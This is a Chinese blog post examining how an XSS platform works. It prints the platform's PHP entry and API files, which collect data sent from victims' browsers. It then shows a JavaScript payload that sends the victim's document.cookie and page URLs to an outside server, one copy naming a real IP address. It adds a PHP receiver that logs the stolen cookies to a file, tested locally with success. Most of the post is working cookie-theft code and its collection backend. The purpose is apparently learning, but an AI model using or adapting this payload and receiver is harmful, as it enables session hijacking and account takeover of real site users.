之前一直对XSS平台传递原理很好奇 今天抽空看了下源码
先来看index.php
index.php
<?php
include('init.php');
$do=Val('do','GET',0); $dos=array('index','login','project','module','code','api','do','register','user','keepsession');
if(!in_array($do,$dos)) $do='index'; include(ROOT_PATH.'/source/'.$do.'.php'); ?>
|
index.php是个入口,定义了do传进来的参数所包含的文件
由于对目标站和XSS平台间的传递好奇,所以看下api.php
Sublime的一个很不错的插件 能快速定位函数调用位置

api.php
<?php
if (!defined('IN_OLDCMS')) { die('Access Denied'); }
$id = Val('id', 'GET');
if ($id) { $db = DBConnect(); $project = $db->FirstRow("SELECT * FROM " . Tb('project') . " WHERE urlKey='{$id}'"); if (empty($project)) { exit(); } $content = array(); $keys = array(); $moduleIds = array(); if (!empty($project['modules'])) { $moduleIds = json_decode($project['modules']); }
if (!empty($moduleIds)) { $modulesStr = implode(',', $moduleIds); $modules = $db->Dataset("SELECT * FROM " . Tb('module') . " WHERE id IN ($modulesStr)"); if (!empty($modules)) { foreach ($modules as $module) { if (!empty($module['keys'])) { $keys = array_merge($keys, json_decode($module['keys'])); }
} } } foreach ($keys as $key) { $content[$key] = Val($key, 'REQUEST'); } if (in_array('toplocation', $keys)) { $content['toplocation'] = !empty($content['toplocation']) ? $content['toplocation'] : $content['location']; }
$judgeCookie = in_array('cookie', $keys) ? true : false; $cookieHash = md5($project['id'] . '_' . $content['cookie'] . '_' . $content['location'] . '_' . $content['toplocation']); $cookieExisted = $db->FirstValue("SELECT COUNT(*) FROM " . Tb('project_content') . " WHERE projectId='{$project[id]}' AND cookieHash='{$cookieHash}'"); if (!$judgeCookie || $cookieExisted <= 0) { $serverContent = array(); $serverContent['HTTP_REFERER'] = $_SERVER['HTTP_REFERER']; $referers = @parse_url($serverContent['HTTP_REFERER']); $domain = $referers['host'] ? $referers['host'] : ''; $domain = StripStr($domain); $serverContent['HTTP_REFERER'] = StripStr($_SERVER['HTTP_REFERER']); $serverContent['HTTP_USER_AGENT'] = StripStr($_SERVER['HTTP_USER_AGENT']); $serverContent['REMOTE_ADDR'] = StripStr($_SERVER['HTTP_X_FORWARDED_FOR']); $values = array( 'projectId' => $project['id'], 'content' => JsonEncode($content), 'serverContent' => JsonEncode($serverContent), 'domain' => $domain, 'cookieHash' => $cookieHash, 'num' => 1, 'addTime' => time(), ); $db->AutoExecute(Tb('project_content'), $values); } else { $db->Execute("UPDATE " . Tb('project_content') . " SET num=num+1,updateTime='" . time() . "' WHERE projectId='{$project[id]}' AND cookieHash='{$cookieHash}'"); }
header("Location: $_SERVER[HTTP_REFERER] "); } ?>
|
JS
读完接口文件看看JS
(function() { (new Image()).src = 'http://XXX.XXX.XXX.XXX/test.php?location=' + escape((function() {
try { return document.location.href } catch (e) { return '' } })()) + '&toplocation=' + escape((function() { try { return top.location.href } catch (e) { return '' } })()) + '&cookie=' + escape((function() { try { return document.cookie } catch (e) { return '' } })()) + '&opener=' + escape((function() { try { return (window.opener && window.opener.location.href) ? window.opener.location.href : '' } catch (e) { return '' } })()); })(); if ('' == 1) { keep = new Image(); keep.src = 'http://47.100.191.127/test.php?url=' + escape(document.location) + '&cookie=' + escape(document.cookie) };
|
测试
至此对XSS平台传递原理有了大概了解,手头上正好有外网服务器,做个测试
<?php
$cookie = $_GET['cookie']; $refer = $_SERVER['HTTP_REFERER']; $location = $_GET['location']; $toplocation = $_GET['toplocation']; $url = $_GET['url']; $time = date("Y-m-d H:i:s"); $testfile = fopen("xsstest.txt", "w") or die("文件打开失败!"); $txt = "Cookies:" . $cookie . "\r\n" . "Refer:" . $refer . "\r\n" . "location:" . $location . "\r\n" . "Toplocation:" . $toplocation . "\r\n" . "Time:" . $time . "\r\n"; fwrite($testfile, $txt); fclose($testfile); ?>
|

本地写个文件
<script> (function() { (new Image()).src = 'http://XXXXX/test.php?location=' + escape((function() {
try { return document.location.href } catch (e) { return '' } })()) + '&toplocation=' + escape((function() { try { return top.location.href } catch (e) { return '' } })()) + '&cookie=' + escape((function() { try { return document.cookie } catch (e) { return '' } })()) + '&opener=' + escape((function() { try { return (window.opener && window.opener.location.href) ? window.opener.location.href : '' } catch (e) { return '' } })()); })(); if ('' == 1) { keep = new Image(); keep.src = 'http://XXXXX/test.php?url=' + escape(document.location) + '&cookie=' + escape(document.cookie) }; </script>
|
访问后不出意外会在服务器目录下生成xsstest.txt
文件并记录相关信息


成功